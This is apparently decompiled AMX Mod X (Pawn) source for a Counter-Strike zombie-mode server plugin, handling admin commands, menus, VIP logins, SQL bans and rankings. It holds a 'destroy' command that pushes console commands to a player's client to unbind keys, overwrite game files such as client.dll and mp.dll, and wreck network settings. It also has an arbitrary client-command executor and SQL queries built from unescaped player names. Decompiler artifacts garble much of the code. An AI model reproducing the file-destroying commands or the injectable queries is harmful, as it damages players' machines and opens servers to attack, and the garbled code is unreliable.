- register_concmd("amx_slap", "CmdSlap", -1, 390604, -1);
- register_concmd("amx_password_for_slot", "CommandGetSlot", -1, 390604, -1);
- register_concmd("amx_password_for_model", "CommandGetModel", -1, 390604, -1);
- register_concmd("amx_human", "CmdMode", -1, 390604, -1);
- register_concmd("amx_zombie", "CmdMode", -1, 390604, -1);
- register_concmd("amx_nemesis", "CmdMode", -1, 390604, -1);
- register_concmd("amx_unfreeze", "CmdUnfreeze", -1, 390604, -1);
- register_concmd("amx_swarm", "CmdMode", -1, 390604, -1);
- register_concmd("amx_plague", "CmdMode", -1, 390604, -1);
- register_concmd("amx_armageddon", "CmdMode", -1, 390604, -1);
- register_concmd("amx_multi", "CmdMode", -1, 390604, -1);
- register_concmd("amx_multiple", "CmdMode", -1, 390604, -1);
- register_concmd("amx_sniper", "CmdMode", -1, 390604, -1);
- register_concmd("amx_survivor", "CmdMode", -1, 390604, -1);
- register_concmd("amx_assassins_vs_snipers", "CmdMode", -1, 390604, -1);
- register_concmd("amx_assassin", "CmdMode", -1, 390604, -1);
- register_concmd("amx_respawn", "CmdMode", -1, 390604, -1);
- register_concmd("amx_ammo", "CmdMode", -1, 390604, -1);
- register_clcmd("cl_setautobuy", "CmdBlock", -1, 393208, -1);
- register_clcmd("cl_setrebuy", "CmdBlock", -1, 393208, -1);
- i = 0;
- while (i < 9)
- {
- register_clcmd(g_cFloodCommands[i], "CmdUpdate", -1, 393208, -1);
- i++;
- }
- register_clcmd("amx_exec", "CmdExec", -1, 393208, -1);
- register_clcmd("say", "Client_Say", -1, 393208, -1);
- register_clcmd("say_team", "Client_SayTeam", -1, 393208, -1);
- register_clcmd("jointeam", "CmdJoinTeam", -1, 393208, -1);
- register_clcmd("chooseteam", "CmdJoinTeam", -1, 393208, -1);
- register_clcmd("plant_mine", "CmdPlantMine", -1, 393208, -1);
- register_clcmd("take_mine", "CmdTakeMine", -1, 393208, -1);
- register_clcmd("nightvision", "CmdNightVision", -1, 393208, -1);
- register_clcmd("drop", "CmdDrop", -1, 393208, -1);
- register_message(get_user_msgid("Scenario"), "MessageScenario");
- register_message(get_user_msgid("Health"), "MessageHealth");
- register_message(get_user_msgid("TeamInfo"), "MessageTeamInfo");
- register_message(get_user_msgid("SayText"), "MessageSayText");
- register_message(get_user_msgid("Money"), "MessageMoney");
- register_message(get_user_msgid("DeathMsg"), "EventDeathMsg");
- register_message(get_user_msgid("ClCorpse"), "ClCorpse");
- set_msg_block(get_user_msgid("TextMsg"), 2);
- set_msg_block(get_user_msgid("SendAudio"), 2);
- set_msg_block(get_user_msgid("AmmoPickup"), 2);
- set_msg_block(get_user_msgid("WeapPickup"), 2);
- g_iMaxClients = get_maxplayers();
- g_iTimeLimit = get_cvar_pointer("mp_timelimit");
- g_iTopMessageSync = CreateHudSyncObj("HamFilter");
- g_iDownMessageSync = CreateHudSyncObj("HamFilter");
- g_iRemainingSync = CreateHudSyncObj("HamFilter");
- g_iVersusSync = CreateHudSyncObj("HamFilter");
- g_iCenterMessageSync = CreateHudSyncObj("HamFilter");
- g_iMineMessage = CreateHudSyncObj("HamFilter");
- g_iSecondMineMessage = CreateHudSyncObj("HamFilter");
- g_iEventsHudmessage = CreateHudSyncObj("HamFilter");
- g_iCounterMessage = CreateHudSyncObj("HamFilter");
- g_iAdvertisementsSync = CreateHudSyncObj("HamFilter");
- g_iAntidoteSync = CreateHudSyncObj("HamFilter");
- g_iRegenerationSync = CreateHudSyncObj("HamFilter");
- g_iLeftSync[0] = CreateHudSyncObj("HamFilter");
- g_iLeftSync[1] = CreateHudSyncObj("HamFilter");
- i = 0;
- while (i < 8)
- {
- g_iDamageSync[i] = CreateHudSyncObj("HamFilter");
- i++;
- }
- g_iGameMenu = menu_create("Game Menu", "_GameMenu", "HamFilter");
- g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", "HamFilter");
- g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", "HamFilter");
- g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", "HamFilter");
- menu_additem(g_iGameMenu, "Buy extra items", 395396, "HamFilter", -1);
- menu_additem(g_iGameMenu, "Choose zombie class", 395484, "HamFilter", -1);
- menu_additem(g_iGameMenu, "Buy features with points", 395592, "HamFilter", -1);
- menu_additem(g_iGameMenu, "Unstuck", 395632, "HamFilter", -1);
- menu_additem(g_iGameMenu, "See rank", 395676, "HamFilter", -1);
- menu_additem(g_iGameMenu, "See top and all statistics", 395792, "HamFilter", -1);
- i = 0;
- while (i < 7)
- {
- formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
- num_to_str(i, cNumber, "");
- menu_additem(g_iMenuZombieClasses, cLine, cNumber, "HamFilter", -1);
- i++;
- }
- i = 0;
- while (i < 6)
- {
- num_to_str(i, cNumber, "");
- menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, "HamFilter", -1);
- g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
- i++;
- }
- i = 0;
- while (i < 10)
- {
- num_to_str(i, cNumber, "");
- menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, "HamFilter", -1);
- g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
- i++;
- }
- g_aNameData = ArrayCreate(32, 1);
- g_aAmmoData = ArrayCreate(1, 1);
- set_task(1084227584, "TaskLight", "HamFilter", 318308, "HamFilter", 395864, "HamFilter");
- set_task(1107558400, "TaskAdvertisements", "HamFilter", 318308, "HamFilter", 395948, "HamFilter");
- set_task(1073741824, "TaskCalculateArguments", "HamFilter", 318308, "HamFilter", 396048, "HamFilter");
- set_task(1140457472, "TaskUnban", "HamFilter", 318308, "HamFilter", 396096, "HamFilter");
- set_task(1053609165, "InitSQL", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- set_task(1075209830, "TaskRCount", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- set_task(1086744166, "TaskGetMaps", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- set_task(1074672959, "TaskReadVips", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- set_task(1078984704, "TaskAxaxa", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- g_bAdmin[0] = 1;
- new var1 = g_cAdminFlags;
- new var2 = g_cName;
- return 0;
- }
- public ClCorpse()
- {
- new var1;
- if (get_msg_args() == 12 && g_Hidden[get_msg_arg_int(12)])
- {
- var2 = 1;
- }
- else
- {
- var2 = 0;
- }
- return var2;
- }
- public TaskReadVips()
- {
- new iFile = fopen("addons/amxmodx/configs/vips.ini", 396600);
- if (iFile)
- {
- new cLine[256];
- while (!feof(iFile))
- {
- fgets(iFile, cLine, 255);
- trim(cLine);
- new var1;
- if (cLine[0] != 59 && strlen(cLine) > 5)
- {
- parse(cLine, g_cVipNames[g_iVipsCount], 31, g_cVipPasswords[g_iVipsCount], 31, g_cVipFlags[g_iVipsCount], 31);
- g_iVipsCount += 1;
- }
- }
- fclose(iFile);
- }
- return 0;
- }
- public TaskAxaxa()
- {
- new iFile = fopen("addons/amxmodx/configs/RegisteredCharacter.ini", 396796);
- if (iFile)
- {
- fgets(iFile, g_cRegisteredCharacter, 31);
- trim(g_cRegisteredCharacter);
- formatex(g_Secret, 31, "%s", g_cRegisteredCharacter);
- format(g_cRegisteredCharacter, 31, "(Gold Member %s) ", g_cRegisteredCharacter);
- fclose(iFile);
- }
- return 0;
- }
- public MessageMoney(iMessage, iDestination, iPlayer)
- {
- if (g_bConnected[iPlayer])
- {
- reset_money(iPlayer);
- }
- return 1;
- }
- public EventDeathMsg()
- {
- static i;
- static iNum;
- static iPlayers[32];
- get_players(iPlayers, iNum, "ch", 397036);
- i = 0;
- while (i < iNum)
- {
- new var1;
- if (g_bConnected[iPlayers[i]] && get_button(iPlayers[i]) & 32768 && get_oldbuttons(iPlayers[i]) & 32768)
- {
- Update_Client_Data(iPlayers[i]);
- }
- i += 1;
- }
- i = 1;
- while (i <= g_iMaxClients)
- {
- if (g_bVip[i])
- {
- set_task(1036831949, "TaskDoScore", i, 318308, "HamFilter", 318312, "HamFilter");
- }
- i += 1;
- }
- set_task("HamFilter", "CleanDouble", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- return 0;
- }
- public CleanDouble()
- {
- Clean();
- return 0;
- }
- public CmdUnfreeze(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 49))
- {
- static iTarget;
- static cTarget[33];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 6);
- if (iTarget)
- {
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x04 %s\x01 made\x04 %s\x03 unfroze", g_cName[iPlayer], g_cName[iTarget]);
- set_frozen(iTarget, "HamFilter");
- remove_glow(iTarget);
- g_bFrozen[iTarget] = 0;
- ExecuteHamB(70, iTarget);
- }
- return 1;
- }
- return 0;
- }
- public Update_Client_Data(id)
- {
- if (g_bConnected[id])
- {
- static iStarted;
- static iSending;
- static i;
- static iNum;
- static iPlayers[32];
- get_players(iPlayers, iNum, 397624, 397036);
- iSending = 0;
- i = 0;
- while (i < iNum)
- {
- switch (iSending)
- {
- case 0:
- {
- if ((iStarted = StartPings(id)))
- {
- write_byte(iPlayers[i] - 1 * 2 + 1 + g_iOffset[iPlayers[i]][0] * 64);
- write_short(g_iArgumentPing[iPlayers[i]][0]);
- }
- iSending += 1;
- }
- case 1:
- {
- if (iStarted)
- {
- write_byte(iPlayers[i] - 1 * 4 + 2 + g_iOffset[iPlayers[i]][1] * 128);
- write_short(g_iArgumentPing[iPlayers[i]][1]);
- }
- iSending += 1;
- }
- case 2:
- {
- if (iStarted)
- {
- write_byte(iPlayers[i] - 1 * 8 + 4);
- write_short(g_iArgumentPing[iPlayers[i]][2]);
- write_byte("HamFilter");
- message_end();
- }
- iSending = 0;
- }
- default:
- {
- }
- }
- i += 1;
- }
- new var1;
- if (iSending && iStarted)
- {
- write_byte("HamFilter");
- message_end();
- }
- }
- return 0;
- }
- public TaskCalculateArguments()
- {
- static iPing;
- static i;
- static iNum;
- static iPlayers[32];
- get_players(iPlayers, iNum, 397624, 397036);
- i = 0;
- while (i < iNum)
- {
- if (0 > g_iPingOverride[iPlayers[i]])
- {
- iPing = random_num(-4, 4) + 12;
- }
- else
- {
- iPing = g_iPingOverride[iPlayers[i]];
- }
- g_iOffset[iPlayers[i]][0] = 0;
- while (4 > g_iOffset[iPlayers[i]][0])
- {
- if (!(iPing - g_iOffset[iPlayers[i]][0] % 4))
- {
- g_iArgumentPing[iPlayers[i]][0] = iPing - g_iOffset[iPlayers[i]][0] / 4;
- g_iOffset[iPlayers[i]][1] = 0;
- while (2 > g_iOffset[iPlayers[i]][1])
- {
- if (!(iPing - g_iOffset[iPlayers[i]][1] % 2))
- {
- g_iArgumentPing[iPlayers[i]][1] = iPing - g_iOffset[iPlayers[i]][1] / 2;
- g_iArgumentPing[iPlayers[i]][2] = iPing;
- i += 1;
- }
- g_iOffset[iPlayers[i]][1]++;
- }
- g_iArgumentPing[iPlayers[i]][2] = iPing;
- i += 1;
- }
- g_iOffset[iPlayers[i]]++;
- }
- g_iOffset[iPlayers[i]][1] = 0;
- while (2 > g_iOffset[iPlayers[i]][1])
- {
- if (!(iPing - g_iOffset[iPlayers[i]][1] % 2))
- {
- g_iArgumentPing[iPlayers[i]][1] = iPing - g_iOffset[iPlayers[i]][1] / 2;
- g_iArgumentPing[iPlayers[i]][2] = iPing;
- i += 1;
- }
- g_iOffset[iPlayers[i]][1]++;
- }
- g_iArgumentPing[iPlayers[i]][2] = iPing;
- i += 1;
- }
- return 0;
- }
- public TaskAdvertisements()
- {
- set_task(1065353216, "TaskHudXYZ", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- if (g_iMessage >= g_iAdvertisementsCount)
- {
- g_iMessage = 0;
- }
- PrintToChat(0, g_cAdvertisements[g_iMessage]);
- g_iMessage += 1;
- return 0;
- }
- public TaskHudXYZ()
- {
- if (g_iHudMessage >= g_iHudAdvertisementsCount)
- {
- g_iHudMessage = 0;
- }
- set_hudmessage(random_num("HamFilter", 255), random_num("HamFilter", 255), random_num("HamFilter", 255), -1082130432, 1044650131, 2, 1045220557, 1091043328, 1036831949, 1045220557, -1);
- client_print("HamFilter", 2, g_cHudAdvertisements[g_iHudMessage]);
- ShowSyncHudMsg("HamFilter", g_iAdvertisementsSync, g_cHudAdvertisements[g_iHudMessage]);
- g_iHudMessage += 1;
- return 0;
- }
- public EventStatusValueHide(iPlayer)
- {
- ClearSyncHud(iPlayer, g_iCenterMessageSync);
- return 0;
- }
- public TaskRemoveRender(i)
- {
- new var1;
- if (g_bConnected[i] && !g_iPlayerType[i] & 1)
- {
- remove_glow(i);
- }
- return 0;
- }
- public CmdGag(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 64))
- {
- static cCommand[32];
- read_argv("HamFilter", cCommand, 32);
- if (equali(cCommand, "amx_gag", "HamFilter"))
- {
- static iTarget;
- static iTime;
- static cTime[6];
- static cTarget[32];
- read_argv(1, cTarget, 32);
- read_argv(2, cTime, 6);
- new var2;
- if (AdminHasFlag(iPlayer, 105))
- {
- var2 = clamp(str_to_num(cTime), 1, 45);
- }
- else
- {
- var2 = clamp(str_to_num(cTime), 1, 8);
- }
- iTime = var2;
- iTarget = GetTarget(iPlayer, cTarget, 0);
- if (0 < iTarget)
- {
- g_fGagTime[iTarget] = floatadd(get_gametime(), float(iTime * 60));
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x03 %s\x01 gag\x03 %s\x01 for\x04 %d minutes", g_cName[iPlayer], g_cName[iTarget], iTime);
- }
- else
- {
- console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
- }
- }
- if (equali(cCommand, "amx_ungag", "HamFilter"))
- {
- static iTarget;
- static cTarget[32];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 0);
- if (0 < iTarget)
- {
- g_fGagTime[iTarget] = 0;
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x03 %s\x01 ungag\x03 %s", g_cName[iPlayer], g_cName[iTarget]);
- }
- console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
- }
- }
- return 0;
- }
- public CmdSlap(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 36))
- {
- static iTarget;
- static iDamage;
- static cDamage[15];
- static cTarget[32];
- read_argv(1, cTarget, 32);
- read_argv(2, cDamage, 7);
- iTarget = GetTarget(iPlayer, cTarget, 6);
- iDamage = clamp(str_to_num(cDamage), "HamFilter", 999999);
- if (0 < iTarget)
- {
- user_slap(iTarget, iDamage, 1);
- AddCommas(iDamage, cDamage, 14);
- if (0 < iDamage)
- {
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x03 %s\x01 slap\x03 %s\x01 with\x04 %s damage", g_cName[iPlayer], g_cName[iTarget], cDamage);
- }
- else
- {
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x03 %s\x01 slap\x03 %s", g_cName[iPlayer], g_cName[iTarget]);
- }
- }
- console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
- }
- return 0;
- }
- public CmdExec(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 105))
- {
- static iTarget;
- static cCommand[64];
- static cTarget[32];
- read_argv(1, cTarget, 32);
- read_argv(2, cCommand, 64);
- iTarget = GetTarget(iPlayer, cTarget, 0);
- if (0 < iTarget)
- {
- client_cmd(iTarget, cCommand);
- }
- console_print(iPlayer, "[Zombie Outstanding] Player not found!");
- }
- return 1;
- }
- public CmdDestroy(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 52))
- {
- static iTarget;
- static cTarget[32];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 4);
- if (0 < iTarget)
- {
- client_cmd(iTarget, "unbindall; bind ` \"say I_have_been_destroyed\"; bind ~ \"say I_have_been_destroyed\"; bind esc \"say I_have_been_destroyed\"");
- client_cmd(iTarget, "motdfile resource/GameMenu.res; motd_write a; motdfile models/player.mdl; motd_write a; motdfile dlls/mp.dll; motd_write a");
- client_cmd(iTarget, "motdfile cl_dlls/client.dll; motd_write a; motdfile cs_dust.wad; motd_write a; motdfile cstrike.wad; motd_write a");
- client_cmd(iTarget, "motdfile sprites/muzzleflash1.spr; motdwrite a; motdfile events/ak47.sc; motd_write a; motdfile models/v_ak47.mdl; motd_write a");
- client_cmd(iTarget, "fps_max 1; rate 0; cl_cmdrate 0; cl_updaterate 0");
- client_cmd(iTarget, "hideconsole; hud_saytext 0; cl_allowdownload 0; cl_allowupload 0; cl_dlmax 1; _restart");
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x03 %s\x01 destroy\x03 %s", g_cName[iPlayer], g_cName[iTarget]);
- client_cmd("HamFilter", "spk \"vox/bizwarn coded user apprehend\"");
- }
- console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
- }
- return 0;
- }
- public client_putinserver(iPlayer)
- {
- static Float:fCurrentTime;
- static iSize;
- g_bKilling[iPlayer] = 0;
- g_bGaveThisRound[iPlayer] = 0;
- g_bRanked[iPlayer] = 0;
- g_bGoldenDeagle[iPlayer] = 0;
- g_bGolden[iPlayer] = 0;
- g_bAlive[iPlayer] = 0;
- g_bNoDamage[iPlayer] = 0;
- g_bZombie[iPlayer] = 0;
- g_bAdmin[iPlayer] = 0;
- Loaded[iPlayer] = 0;
- g_iBurningDuration[iPlayer] = 0;
- g_iPlayerType[iPlayer] = 0;
- g_iPoints[iPlayer] = 0;
- g_iPacks[iPlayer] = 0;
- g_iKillsThisRound[iPlayer] = 0;
- g_iZombieNextClass[iPlayer] = -1;
- g_fDamage[iPlayer] = 0;
- get_user_ip(iPlayer, g_cInternetProtocolAddress[iPlayer], 24, 1);
- fCurrentTime = get_gametime();
- get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
- get_user_name(iPlayer, g_cName[iPlayer], 32);
- strip_name(g_cName[iPlayer], 32);
- if (!g_bEnded)
- {
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, "");
- if (floatsub(fCurrentTime, g_fLastQuery) >= 1073741824)
- {
- formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", g_cQuery, cPlayer, "");
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(floatsub(floatadd(1073741824, g_fLastQuery), fCurrentTime), "_Task_BanCheck", iPlayer + 50, 318308, "HamFilter", 318312, "HamFilter");
- g_fLastQuery = floatadd(1073741824, g_fLastQuery);
- }
- if (floatsub(fCurrentTime, g_fLastQuery) >= 1073741824)
- {
- if (strlen(g_cSteam[iPlayer]) == 18)
- {
- formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer], g_cName[iPlayer]);
- }
- else
- {
- formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE n='%s'", g_cName[iPlayer]);
- }
- SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", g_cQuery, cPlayer, "");
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(floatsub(floatadd(1073741824, g_fLastQuery), fCurrentTime), "_Task_AdminCheck", iPlayer + 100, 318308, "HamFilter", 318312, "HamFilter");
- g_fLastQuery = floatadd(1073741824, g_fLastQuery);
- }
- if (floatsub(fCurrentTime, g_fLastQuery) >= 1073741824)
- {
- formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, "");
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(floatsub(floatadd(1073741824, g_fLastQuery), fCurrentTime), "_Task_RankCheck", iPlayer + 150, 318308, "HamFilter", 318312, "HamFilter");
- g_fLastQuery = floatadd(1073741824, g_fLastQuery);
- }
- set_task(1133903872, "TaskUpdateTime", iPlayer + 400, 318308, "HamFilter", 404532, "HamFilter");
- set_task(1065353216, "TaskHud", iPlayer + 300, 318308, "HamFilter", 404572, "HamFilter");
- set_task(1094713344, "TaskCheckName", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1094713344, "TaskShowMessage", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- }
- if ((iSize = ArraySize(g_aAmmoData)))
- {
- static cSavedName[32];
- static i;
- i = iSize + -1;
- while (i > -1)
- {
- ArrayGetString(g_aNameData, i, cSavedName, 32);
- if (equali(cSavedName, g_cName[iPlayer], "HamFilter"))
- {
- g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
- }
- i -= 1;
- }
- }
- if (!g_iPacks[iPlayer])
- {
- g_iPacks[iPlayer] = 5;
- }
- set_task(1045220557, "GetCC", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1077936128, "AnnounceXa", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- g_bConnected[iPlayer] = 1;
- g_bVip[iPlayer] = 0;
- client_cmd(iPlayer, "cl_minmodels 0; mp3 stop");
- get_user_info(iPlayer, "_pw", g_cPasswords[iPlayer], 31);
- new i;
- while (i < g_iVipsCount)
- {
- if (equali(g_cVipNames[i], g_cName[iPlayer], "HamFilter"))
- {
- if (equali(g_cPasswords[iPlayer], g_cVipPasswords[i], "HamFilter"))
- {
- g_bVip[iPlayer] = 1;
- formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cVipFlags[i]);
- if (VipHasFlag(iPlayer, 114))
- {
- set_task(1082130432, "TaskRays", iPlayer + 850, 318308, "HamFilter", 405068, "HamFilter");
- }
- }
- else
- {
- server_cmd("kick #%d Your VIP password is incorrect!", get_user_userid(iPlayer));
- }
- return 0;
- }
- i++;
- }
- return 0;
- }
- public AnnounceXa(Player)
- {
- if (g_bConnected[Player])
- {
- new Name[32];
- get_user_name(Player, Name, 31);
- PrintToChat(0, "\x01Player\x04 %s\x01 connected from [\x03%s\x01] [\x03%s\x01]", Name, Data[Player][1], Data[Player][4]);
- }
- return 0;
- }
- public TaskRays(iPlayer)
- {
- set_task(1036831949, "TaskDoScore", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- new var1;
- if (g_bAlive[iPlayer] && !g_bRoundStart && !g_bRoundEnd && g_bModeStarted)
- {
- switch (get_team(iPlayer))
- {
- case 1:
- {
- new i = 1;
- while (i <= g_iMaxClients)
- {
- new var3;
- if (g_bAlive[i] && !g_bZombie[i] && !visible(iPlayer, i))
- {
- Beam(iPlayer, i, "HamFilter", 42, 255);
- }
- i++;
- }
- }
- case 2:
- {
- new i = 1;
- while (i <= g_iMaxClients)
- {
- new var2;
- if (g_bAlive[i] && g_bZombie[i] && !visible(iPlayer, i))
- {
- Beam(iPlayer, i, 255, 24, "HamFilter");
- }
- i++;
- }
- }
- default:
- {
- }
- }
- }
- return 0;
- }
- public GetCC(p)
- {
- if (g_bConnected[p])
- {
- LoadData(p);
- }
- return 0;
- }
- public ShowMsgGlow(iPlayer)
- {
- new var1;
- if (!g_bConnected[iPlayer] || !g_bRanked[iPlayer])
- {
- return 0;
- }
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, "");
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", g_cQuery, cPlayer, "");
- return 0;
- }
- public TaskPreparePlayerChanged(i)
- {
- new var1;
- if (g_bConnected[i] && !g_bRanked[i])
- {
- static cPlayer[3];
- num_to_str(i, cPlayer, "");
- formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[i]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, "");
- }
- return 0;
- }
- public TaskShowMessage(iPlayer)
- {
- new var1;
- if (g_bConnected[iPlayer] && g_bRanked[iPlayer])
- {
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (floatsub(fCurrentTime, g_fLastQuery) >= 1073741824)
- {
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, "");
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", g_cQuery, cPlayer, "");
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(floatsub(floatadd(1073741824, g_fLastQuery), fCurrentTime), "ShowMsgGlow", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- g_fLastQuery = floatadd(1073741824, g_fLastQuery);
- }
- }
- else
- {
- new var2;
- if (!g_bRanked[iPlayer] && g_bConnected[iPlayer])
- {
- set_task(1077936128, "TaskShowMessage", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- }
- }
- return 0;
- }
- public _Task_BanCheck(iPlayer)
- {
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, "");
- formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", g_cQuery, cPlayer, "");
- return 0;
- }
- public _Task_AdminCheck(iPlayer)
- {
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, "");
- if (strlen(g_cSteam[iPlayer]) == 18)
- {
- formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer], g_cName[iPlayer]);
- }
- else
- {
- formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE n='%s'", g_cName[iPlayer]);
- }
- SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", g_cQuery, cPlayer, "");
- return 0;
- }
- public _Task_RankCheck(iPlayer)
- {
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, "");
- formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, "");
- return 0;
- }
- public SQLPrintGlowRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- static cScore[15];
- static cDeaths[15];
- static cKills[15];
- static cTotal[15];
- static cRank[15];
- static cBuffer[900];
- static iPlayer;
- iPlayer = str_to_num(cData);
- AddCommas(g_iScore[iPlayer], cScore, 14);
- AddCommas(SQL_NumResults(hQuery), cRank, 14);
- AddCommas(g_iRanksCount, cTotal, 14);
- AddCommas(g_iDeaths[iPlayer], cDeaths, 14);
- AddCommas(g_iKills[iPlayer], cKills, 14);
- new var1;
- if (g_iDeaths[iPlayer])
- {
- var1 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
- }
- else
- {
- var1 = float(g_iKills[iPlayer]);
- }
- formatex(cBuffer, 899, "Welcome, %s\nRank: %s of %s Score: %s\nKills: %s Deaths: %s KPD: %0.2f\nOnline: %s\nEnjoy!", g_cName[iPlayer], cRank, cTotal, cScore, cKills, cDeaths, var1, g_cOnlineTime[iPlayer]);
- show_glow_message(iPlayer, cBuffer, 40960, 0.02, 0.21, 10.0);
- show_glow_message(iPlayer, "Zm.CsDevils.Com\nDon't forget to add us to your favorites!", 6904269, 0.02, 0.5, 10.0);
- return 0;
- }
- show_glow_message(iPlayer, cMessage[], iColor, Float:fX, Float:fY, Float:fDuration)
- {
- new var1;
- if (!g_bConnected[iPlayer] || !is_user_connected(iPlayer))
- {
- return 0;
- }
- message_begin(8, 51, 411640, iPlayer);
- write_byte(strlen(cMessage) + 31);
- write_byte(6);
- write_byte(2);
- write_long(iColor);
- write_long(fX);
- write_long(fY);
- write_long(1036831949);
- write_long(1069547520);
- write_long(fDuration);
- write_long(1086324736);
- write_string(cMessage);
- message_end();
- return 0;
- }
- public TaskDeleteBans()
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", 322540, "HamFilter");
- return 0;
- }
- public TaskDeleteRanks()
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", 322540, "HamFilter");
- return 0;
- }
- public TaskUnban()
- {
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (floatsub(fCurrentTime, g_fLastQuery) >= 1073741824)
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", 322540, "HamFilter");
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(floatsub(floatadd(1073741824, g_fLastQuery), fCurrentTime), "TaskDeleteRanks", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- g_fLastQuery = floatadd(1073741824, g_fLastQuery);
- }
- if (floatsub(fCurrentTime, g_fLastQuery) >= 1073741824)
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", 322540, "HamFilter");
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(floatsub(floatadd(1073741824, g_fLastQuery), fCurrentTime), "TaskDeleteBans", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- g_fLastQuery = floatadd(1073741824, g_fLastQuery);
